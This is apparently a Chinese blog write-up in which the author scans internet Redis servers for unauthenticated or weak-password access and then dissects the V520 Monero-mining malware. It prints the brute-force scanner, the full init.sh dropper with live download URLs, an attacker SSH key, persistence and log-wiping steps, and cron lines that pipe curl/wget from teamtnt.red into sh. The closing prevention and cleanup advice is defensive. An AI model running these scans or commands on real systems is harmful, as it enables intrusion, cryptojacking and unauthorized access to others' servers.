一个小知识点竟引发了对挖矿脚本的追踪与分析

 

0x01起因

事情的经过是这样的,前天,由于太菜而找不到实习工作的阿闻,正艰难地复习着网络安全知识以及学习诸多大厂留下的面试题。

他刚看到了这样一道题:

据说来自某大厂,知识贫瘠的他虽然大致知道题中的几个关键知识点,

但是却不是很深刻,所以他用这个大厂的搜索引擎搜了一下这道题:

(Ps:你说我说这是谷歌你们信吗)

然后他在前辈的经验中找到了知识:

Tk教主曾经说过,只有实践才能提高技术。

(tk:我没说,不是我,别瞎说。)

然后我打开我的好朋友FOFA网络空间资产搜索引擎,让它帮我探寻一下。

(为啥fofa是我的好朋友,因为它送我会员呀QAQ)

简单搜索一下,发现了很多redis服务器。

(你问我为啥region选择hk,其实我还想选择tw qaq)

虽然搜索结果有很多,但是并不是所有都有漏洞,所以需要验证一下。

只有存在未授权或弱口令的redis服务器才可以进行下一步操作。

然后我找了一个脚本,并修改了一下:

import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port,timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("SAVErn")
result = s.recv(1024)
if "OK" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %srn" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
for ip in open("url.txt"):
ip = line.rstrip()
print ip
port = '6379'
print check(ip,port,timeout=10)

直接s.send(“SAVErn”)是为了验证是否有权限,因为如果没有save的权限还是不能进行下一步操作。

用这个自动化脚本可以探测开放6379端口的ip是否是存在未授权或弱口令的redis服务器。

写了一个爬虫可以简单爬取一下搜到的ip,保存为url.txt

通过脚本我验证了几个存在未授权的redis服务器,而在我想要进一步探索的时候,却发现这几个服务器并不简单

 

0x02 被写入计划任务的redis服务器

知识贫瘠的阿闻发现了存在漏洞的服务器本来很高兴,他甚至激动地输入了两次info,兴奋过头的他却没有发现这几台服务器都是windows的。

当阿闻仔细看的时候,发现了一个有趣的地方,存在漏洞的两个ip是在同一网段:

习惯性的用nmap扫一下整个网段:

结果:

有连续五个ip是存在漏洞的,而且都是windows系统。

阿闻这回仔细查看了各个redis服务器的内容,发现了一些共同的内容。

ip:

182.*.*.38
182.*.*.37
182.*.*.36
182.*.*.35
182.*.*.34
216.*.*.116

特征:

这些redis 服务器的数据库内都有db0,且里面只有一个key:1

Key 1的内容

*/1 * * * * curl -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh

显然这是一个计划任务,似乎有人想通过redis漏洞批量攻击。

不过因为这几台服务器都是windows,无法被通过执行计划任务而感染。

使用namp对上述redis主机扫描结果:

类似:

共同特征:

开放端口

135
139
445
593
843
4444
49152——49159

正常的攻击方式应该是:

攻击者修改redis 的config ,将dir设置为计划任务的目录:

/var/spool/cron/

并且设置 dbfilename为”root”

然后写入计划任务到key中,

等待系统执行计划任务

不过此方法只用于linux服务器。

我后续倒是遇到了几台通过该方法被感染的linux服务器,

最近网上有个老哥就中了这挖矿病毒:

https://www.cnblogs.com/chbyiming-bky/articles/12654338.html

中招的是阿里云服务器。

目前看到的人数不多,应该都是中招的。

然后我仔细搜索了一下,这个V520原来早就出现过:

1、分析IP

185.181.10.234会被解析到

https://pypi.org/project/gsearch/

访问185.181.10.234

得到的响应头信息:

Last-Modified来看,此文件在服务器端上次被修改的时间是:

2019年的4月21日星期六,10:15:20(格林尼治时间)

服务器是nginx

主页写着一段js脚本,内容是跳转到https://pypi.org/project/gsearch/

查看该网站内各个文件的修改时间

/E5DB0E07C3D7BE80V520/networkservice

/E5DB0E07C3D7BE80V520/sysguard

/E5DB0E07C3D7BE80V520/update.sh

/E5DB0E07C3D7BE80V520/config.json

E5DB0E07C3D7BE80V520/sysupdate

我们可以看到:

networkservicesysguard的最后修改时间是2019/5/27

update.shconfig.jsonsysupdate三个文件的最后修改时间是2020/3/8

这个ip对应着https://de.gsearch.com.de/这个域名

同时,我找到了de.gsearch.com.de/api/的兄弟:

us.gsearch.com.de/api/

属于不同子域名,

关于这个us域名,最早是2019年6月3号被记录。

那时对应的ip为:209.182.218.161

关于ip最早被记录是2019年5月31日

有趣的是,现在访问这个域名,依旧会被跳转到:

https://pypi.org/project/gsearch/

referer正是us.gsearch.com.de/

us.gsearch.com.de的主页最后修改时间是 2019/3/18

2、挖矿病毒

组成部分

我们重新回到v520,从捕获的init.sh分析可以得知:

这套挖矿流程需要这五个部分

config.json是挖矿配置文件,包含钱包地址与挖矿参数等;

地址:

http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json

矿池地址:

xmr.f2pool.com:13531

xmr-eu2.nanopool.org:14444

randomxmonero.hk.nicehash.com:3380

init.shupdate.sh)负责调度,统领全局,并且持久化,总之功能齐全。

地址:

http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh

sysupdate负责挖矿

地址:

http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate

md5:

149c79bf71a54ec41f6793819682f790

networkservice负责入侵扩散

地址:

http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice

md5:8e9957b496a745f5db09b0f963eba74e

sysguard用于监控并保证病毒的正常运行以及更新,并保证他们以 root 权限运行。

地址:

http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard

md5:c31038f977f766eeba8415f3ba2c242c

最早发现

这个挖矿病毒最早在2019年6月13日由安天蜜网捕获。

不过攻击手段有所不同,安天所捕获的样本是:

攻击者通过一段包含恶意链接的json脚本,

利用CVE-2015-1427(ElasticSearch Groovy) 远程命令执行漏洞,

使受害主机下载并执行init.sh恶意脚本。

由安天发布的init.sh脚本内容来看,和目前我获取的init.sh脚本文件内容相似。

不过从网站的最后修改时间来看,还是有改动,后面分析应该是对update.sh里的函数进行的增加。

在攻击者的这套挖矿流程中,init.sh这个恶意脚本是非常关键的,因为这个shell脚本负责整体的调度和执行,所以分析出这个脚本的具体执行情况,对于了解挖矿病毒的行为模式是非常有用的。

对于init.sh这个shell脚本,我查看了网站上这个文件的修改时间发现:

(被水印挡住了qaq)

最后一次的修改时间是 2020年3月8号

update.shconfig.jsonsysupdate修改时间一致。

说明近期挖矿病毒的团队仍在为挖矿大业而努力奋斗,让人不禁为他们的“坚持努力”而感动,我想他们的“努力”,或许就是我们这些正道安全从业者的动力吧。

 

0x03 作风“严谨”的恶意脚本

这个部分之前有很多前辈已经分析过了,写的也很专业,不过分析的版本都早于这个20_3_8的版本,其后内容有所改动,值得再来分析一下。

不过我作为安全届的小学生,对shell脚本掌握的不多,所以一边分析文件,也是一边学习。

分析过程可能会有些错误之处,望各位大牛多多斧正orz。

init.shupdate.sh是完全一致的。

所以分析一个就行了。

1、组成情况:

2、预处理部分:

预处理部分包括了攻击者对在受害主机上进行挖矿事业的前期准备,其中包括:

关闭SELinux子系统:

setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

SELinux(Security-Enhanced Linux) 是linux上的一个安全子系统,

如果想做坏事肯定要先关掉的好,所有攻击者对它的做法是:有则关闭,无则试试。

手工回收cache,释放内存:

sync && echo 3 >/proc/sys/vm/drop_caches

攻击者仿佛在说:爷要干大事了,你给爷腾点地方

在/etc 下生成一个名为sysupdates的文件,并写入1:

echo 1 > /etc/sysupdates

这个文件是作为标志来用的,后续有用

重命名网络传输工具,扰乱使用者/程序的使用:

mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur

一通操作,总之就是,我自己好用就行,你们就别用了。

后续我见到一些恶意脚本会检测当前主机有没有该程序,如果没有,它会勤劳的帮你安装一个。

yum,apt-get都用上,保证安装成功。qaq

配置url:

这部分是攻击者搞事情的关键部分,毕竟工具什么都都需要下载。

miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="1102480"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
config_size="3356"
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
scan_size="2584072"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size="1929480"

配置参数:

rtdir这个参数后面会有用到,别的配置则是秉持:虽然让别人不好用,但我依然好用的原则。

rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"

3、函数部分:

(注释半吐槽)

kill_miner_proc():

字面理解,干掉别人矿工的函数qaq

主要内容:

ps auxf|grep kinsing| awk '{print $2}'|xargs kill -9
ps auxf|grep kdevtmpfsi| awk '{print $2}'|xargs kill -9
#略一部分格式相同的
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
#略一部分格式相同的
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
#略一部分格式相同的
pkill -f biosetjenkins
pkill -f Loopback
 
#还休息一会,劳逸结合
sleep 1
 
netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
#略一部分格式相同的
 
pgrep -f monerohash | xargs -I % kill -9 %
 
#接下来开始干掉别人的文件,
#如果是自己的也无所谓,
#反正后面还要下回来。
rm -rf /usr/bin/config.json
#略一部分格式相同的
 
#解锁
chattr -i /etc/ld.so.preload
#略一部分格式相同的
 
#修改权限,然后删除
chmod +700 /tmp/lok
rm -rf /tmp/lok
#略一部分格式相同的
 
# 解锁,然后给你写成1
chattr -i /tmp/kdevtmpfsi
echo 1 > /tmp/kdevtmpfsi
 
#解锁,写1,加锁
chattr -i /usr/lib/systemd/systemd-update-daily
echo 1 > /usr/lib/systemd/systemd-update-daily
chattr +i /usr/lib/systemd/systemd-update-daily
 
#再歇一会,太辛苦了
sleep 1
 
#不仅要停止你,还有让你不能自已(启)
service apparmor stop
systemctl disable apparmor
#略一部分格式相同的
 
# 解锁定时任务,然后清空
chattr -i /etc/crontab
crontab -r
 
#怕你有隐藏的的程序,
#现下一个软件
#来发现你,然后干掉你
#属实冰冷无情
apt-get install -y unhide
yum install -y unhide
sleep 1
dddir="/usr/sbin/unhide"
$dddir quick |grep PID:|awk '{print $4}'|xargs -I % kill -9 % 2>/dev/null

这个函数最长,里面的kill命令乱糟糟,可以看出是不断后续添加的,就是为了跟“同行”争夺矿机,也是蛮卖力气的。

毕竟同行竞争太激烈了,写这篇文章的时候,后面我就遇到了另一伙人席卷而来,暂时覆盖掉了这一伙。

downloads()

下载函数,负责更新shell脚本和病毒程序

有三个参数分别对应主链接文件备用链接

#此处判断的是对应网络下载工具是否还在,分别判断curl、cur、wget、wge
#只要有一个能用就行
if [ -f "/usr/bin/curl" ]
then
echo $1,$2
# -I 显示请求头,-m 设置最大传输时间 -0 写入文件 -s 静默不输出
# -w %{} 以指定格式输出,获取响应码;
http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
# 如果响应码是200/405,就都正常访问,并把获取的文件写入到参数2就是update.sh
if [ "$http_code" -eq "200" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
else
#如果主链接超时了就启用备用链接
curl --connect-timeout 10 --retry 100 $3 > $2
fi
# 秉持着如果这个不能用,那我就换一个,真是严谨。
elif [ -f "/usr/bin/cur" ]
then
http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
if [ "$http_code" -eq "200" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
else
cur --connect-timeout 10 --retry 100 $3 > $2
fi
#其实检测wget和wge是为了应对不同的权限,
#因为如果没有root权限,还是没法修改wget为wge的
#严谨这方面, 阿矿有点严谨。
elif [ -f "/usr/bin/wget" ]
then
wget --timeout=10 --tries=100 -O $2 $1
if [ $? -ne 0 ]
then
wget --timeout=10 --tries=100 -O $2 $3
fi
elif [ -f "/usr/bin/wge" ]
then
wge --timeout=10 --tries=100 -O $2 $1
if [ $? -eq 0 ]
then
wge --timeout=10 --tries=100 -O $2 $3
fi
fi

kill_sus_proc()

干掉不需要的程序,以提高挖矿效率。

#按行读取pid,依次对应是不是自己的程序
#sysguard|update.sh|sysupdate|networkservice
#不是就kill -9强制干掉
#u1s1,有点霸道
ps axf -o "pid"|while read procid
do
ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
fi
done
#列出cpu占用率超过40%的程序pid,
#然后把不是自己人的统统杀掉
#u1s1,正经程序谁成天占用40%,qaq
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
done

虽然在你的地盘,但是得听我的,大爷用不上你,就kill你。

属实冷酷无情。

lock_cron()

加锁函数,用于给执行计划和执行计划任务程序加锁。

chattr -R 递归处理指定目录及子目录下所有文件文件

/var/spool/cron/这个目录是以账号来区分每个用户自己的执行计划

/etc/crontab系统执行计划

chattr -R +i /var/spool/cron
chattr +i /etc/crontab

unlock_cron()

对应解锁函数。

chattr -R -i /var/spool/cron
chattr -i /etc/crontab

这两个函数没啥说的,就是把两行的事浓缩成一行

“节能减排,避免铺张浪费,阿矿真节约。”

4、主要程序逻辑

这部分由一个复杂的判断逻辑构成,主要应对各种环境,以实现挖矿事业。

if [ -f "$rtdir" ]
 
then
echo "i am root"
echo "goto 1" >> /etc/sysupdates
chattr -i /etc/sysupdate*
chattr -i /etc/config.json*
chattr -i /etc/update.sh*
chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/networkservice
#设置计划任务,每三十分钟执行一次update.sh,以便跟上组织的步伐,及时调整战术措施qaq
if [ ! -f "/usr/bin/crontab" ]
then
unlock_cron
echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
lock_cron
else
unlock_cron
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
lock_cron
fi
# 读写执行权限
chmod 700 /root/.ssh/
# 换个行
echo >> /root/.ssh/authorized_keys
# 读写执行权限
chmod 600 root/.ssh/authorized_keys
# 追写ssh秘钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
 
# 莫名的赋值,不解
cfg="/etc/config.json"
file="/etc/sysupdate"
 
# 检查有没有config.json,如果有则检查是否是自己人,不是就杀掉,换成自己人;
# 如果不存在就重新下载
if [-f "/etc/config.json" ]
then
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
#如果大小跟预设的不一致,就清洗一下sysupdate,删掉现有的config.json ,重新获取
if [ "$filesize_config" -ne "$config_size" ]
then
pkill -f sysupdate
rm /etc/config.json
downloads $config_url /etc/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /etc/config.json $config_url_backup
fi
 
# 检查有没有sysupdate,如果有则检查是否是自己人,不是就杀掉,换成自己人,以免自己的努力给敌人做了嫁衣;
# 如果不存在就重新下载
if [ -f "/etc/sysupdate" ]
then #此处是filesize1
filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /etc/sysupdate
downloads $miner_url /etc/sysupdate $miner_url_backup
else
echo "not need download"
fi
else
downloads $miner_url /etc/sysupdate $miner_url_backup
fi
 
# 原理跟上面一样,略
if [ -f "/etc/sysguard" ]
then
filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /etc/sysguard
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
fi
 
# 穿插一下,更新自己的执行脚本
downloads $sh_url /etc/update.sh $sh_url_backup
 
# 原理跟上面一样,略
if [ -f "/etc/networkservice" ]
then # 此处变成了filesize2 ,莫名其妙
filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /etc/networkservice
downloads $scan_url /etc/networkservice $scan_url_backup
else
echo "not need download"
fi
else
downloads $scan_url /etc/networkservice $scan_url_backup
fi
 
# 所有用户都有读写执行权限,然后检测有没有执行,如果没执行,就睡5s,然后执行
chmod 777 /etc/sysupdate
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not root runing"
sleep 5s
./sysupdate &
else
echo "root runing....."
fi
# 所有用户都有读写执行权限,然后检测有没有执行,如果没执行,就睡5s,
# 然后按优先级15 来执行,不知道为啥要按15来执行
chmod 777 /etc/networkservice
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not roots runing"
sleep 5s
nice ./networkservice 15 &
else
echo "roots runing....."
fi
 
# 此处类似,略
chmod 777 /etc/sysguard
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /etc
# 不知道此处为啥重复两遍
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "roots runing....."
fi
 
# 依次加锁
chmod 777 /etc/sysupdate
chattr +i /etc/sysupdate
chmod 777 /etc/networkservice
chattr +i /etc/networkservice
chmod 777 /etc/config.json
chattr +i /etc/config.json
chmod 777 /etc/update.sh
chattr +i /etc/update.sh
chmod 777 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
 
else
# 如果不存在"/etc/sysupdates"介个文件,则在tmp里操作
echo "goto 1" > /tmp/sysupdates
chattr -i /tmp/sysupdate*
chattr -i /tmp/networkservice
chattr -i /tmp/config.json*
chattr -i /tmp/update.sh*
 
if [ ! -f "/usr/bin/crontab" ]
then
unlock_cron
echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
lock_cron
else
unlock_cron
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -
lock_cron
fi
 
if [ -f "/tmp/config.json" ]
then
filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
if [ "$filesize1" -ne "$config_size" ]
then
pkill -f sysupdate
rm /tmp/config.json
downloads $config_url /tmp/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /tmp/config.json $config_url_backup
fi
 
if [ -f "/tmp/sysupdate" ]
then
filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /tmp/sysupdate
downloads $miner_url /tmp/sysupdate $miner_url_backup
else
echo "no need download"
fi
else
downloads $miner_url /tmp/sysupdate $miner_url_backup
fi
 
if [ -f "/tmp/sysguard" ]
then
filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /tmp/sysguard
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
fi
 
# 这个地方突然来了一句“我在这”,跟上面有root权限执行的时候,有些许的差别。
echo "i am here"
downloads $sh_url /tmp/update.sh $sh_url_backup
 
# 下面的流程除了目录换成/tmp,别的没啥改动
if [ -f "/tmp/networkservice" ]
then # 此处跟上面一样是filesize2,估计是原封复制
filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /tmp/networkservice
downloads $scan_url /tmp/networkservice $scan_url_backup
else
echo "no need download"
fi
else
downloads $scan_url /tmp/networkservice $scan_url_backup
fi
 
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmp runing"
cd /tmp
chmod 777 sysupdate
sleep 5s
./sysupdate &
else
echo "tmp runing....."
fi
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 networkservice
sleep 5s
# 还是优先级15
nice ./networkservice 15 &
else
echo "tmps runing....."
fi
 
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "tmps runing....."
fi
 
# 同样的加锁
chmod 777 /tmp/sysupdate
chattr +i /tmp/sysupdate
chmod 777 /tmp/networkservice
chattr +i /tmp/networkservice
chmod 777 /tmp/sysguard
chattr +i /tmp/sysguard
chmod 777 /tmp/update.sh
chattr +i /tmp/update.sh
chmod 777 /tmp/config.json
chattr +i /tmp/config.json
 
fi

5、iptables配置:

限定了指定output端口,和input ip,这个ip大有来头。

iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload

6、善后工作,清除痕迹:

#history记录执行过的命令,-c清除命令
history -c
#下面的就是把这些文件全部写成空,擦屁屁
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

通过上面的逐行解析,我们可以得知这个恶意shell脚本体现如下特征:

1、逻辑严谨,考虑周全,努力适应各种复杂情况,保证挖矿大业的顺利进行。

这个从上面复杂的逻辑判断就可以略知一二。孔子云:吾日三省吾身,

挖矿病毒云:隔半个点就检查一下自身是否完好;比孔子还勤勉。

毕竟搞“挖矿大业”是长期的,持久的,必须谨而慎之。

2、手段冷酷行事无情,坚决不给宿主和同行活路。

对于宿主,虽然我吃你的、用你的,但是我还要捶你、kill你。坚决不能让你妨碍影响我的挖矿事业,可谓“吃干抹净”正是如此;

对于同行,俗话说同行是冤家。此言不假,在恶意挖矿领域,这个现象更是十分的明显。

非著名相声演员郭德纲曾调侃,什么是大家,把同行熬死你就是大家。

对于挖矿事业,把同行们一一干掉,自己就是领头羊,业界先锋,独占鳌头。

上面函数部分,致力于干掉同行的函数,明显内容丰富,努力涵盖所有新来旧往的同行。

而且我在后面的追踪中,也发现了不同团伙对宿主服务器的辗转碾压,你来我去,十分热闹。

3、专横独断,霸权主义。

上面我们可以看到,该挖矿病毒,对“权利”之事抓的很紧,有点小权就时时刻刻卖弄小权;

而有大权(root)的,脑子坏了才会跟人民群众站在一边。

先进技术,带来霸权垄断,垄断资源,垄断权限;

你能做的只能是我让你做的,我不想让你做,那你就没有权利做。

似乎有点熟悉的味道。~

 

0x03 安全防范

这部分是老生常谈的,我一向认为绝大多数的安全问题都是人的疏漏。

但我们永远不能保证人不会疏漏,所以总会有安全问题,

但我们还是努力去减少这些疏漏,让世界更安全。

1、预防措施:

  1. 及时更新,及时打补丁;
  2. 禁止使用弱口令密码;(万恶)
  3. 定期检查服务器异常,如CPU持续占用高、磁盘异常情况;
  4. 尽量不要用高权限来运行服务器(root/system
  5. 不要把redis开放在危险ip,如果必须,则修改端口以及添加网络防火墙规则

2、修复建议:

  1. 断网、备份重要的crontab,关闭或删除定时任务:systemctl stop crontabrm -rf /etc/cron.d/*
  2. 锁定crontab中的恶意文件;
  3. 查看并杀掉病毒进程:同时杀掉sysguardnetworkservicesysupdate三个进程;
  4. 删除病毒相关文件;

 

0x04 后续

在我最开始验证未授权redis服务器时,其实有一个比较特别的另一个被挖矿的ip:

103.219.193.41

9d31系列(网址中包含b0cdc46f1337a7ed1bc4b27f08709d31,简称9d31)

内容为:

Back1 到 4:

基本内容为请求:

http://d.powerofwish.com/pm.sh

backup1:

*/2 * * * * cdl -fsSL http://teamtnt.red/franz/b0cdc46f1337a7ed1bc4b27f08709d31/init.sh | sh

backup2:

*/3 * * * * wget -q -O- http://teamtnt.red/franz/b0cdc46f1337a7ed1bc4b27f08709d31/init.sh | sh

backup3:

*/4 * * * * curl -fsSL http://kaiserfranz.cc/franz/b0cdc46f1337a7ed1bc4b27f08709d31/init.sh | sh

内容十分奇怪,似乎是不同的两伙人所为,

其中b0cdc46f1337a7ed1bc4b27f08709d31在网上也留下过踪迹:

不过另一组(powerofwish)却踪迹不多。

由于时间关系我并没有来得及分析和追踪这两个特别ip;

不过就在 2020/4/18/20:00

我惊奇的发现,前几个redis服务器,也改弦更张了:

103.*.*.41back1-4里面的内容一样了,

同时,103.*.*.41却连不上了。

182.*.*.38中的db0中,我刚发现时都有5个key,

这里有一个关键key:KV5o1dOO

但当时我以为是攻击者的SSH秘钥,也没太注意。

不过我再意识到可能有问题的时候已经被删除了,没有留下具体信息。

只剩下了Back1-4

这个地方告诉我们,遇到什么奇奇怪怪的东西,一定要先保存,留下数据,说不定之后就有用了QAQ。

后面我会继续追踪v520系列,把这个挖矿团伙冒泡的时间线整理出来;同时我会去追踪另外两伙奇怪的家伙。

9d31powerofwish

希望他们能给我带来不一样的东西,毕竟他们的各种”姿势”都很丰富,总能让人耳目一新。

追加:

时间:2020/4/19/1:11

第一伙人又回来了,看来还是v520底蕴深厚呀。

 

0x05 末语

在我敲这行字的时候,我发现我似乎忘了点什么,

还有人记得吗?

我好像已经忘了我最开始的目的是:

事情不知不觉就往奇怪的方向发展,我的那道大厂面试题还没有看完orz。

时间在奇怪的事情上悄咪咪过了三天,卑微阿闻一眼都没看那些网络安全基础知识以及学习诸多大厂留下的面试题;

虽然这三天也没有公司发来面试的邮件,艰难。

实习是不可能找到的了,只能去看看哪有空闲的电瓶了。

当我看到你的电瓶车时,就注定你要走路回家了。——窃·格瓦拉

(发文章的时候听说,周某签约,年薪千万QAQ)

(完)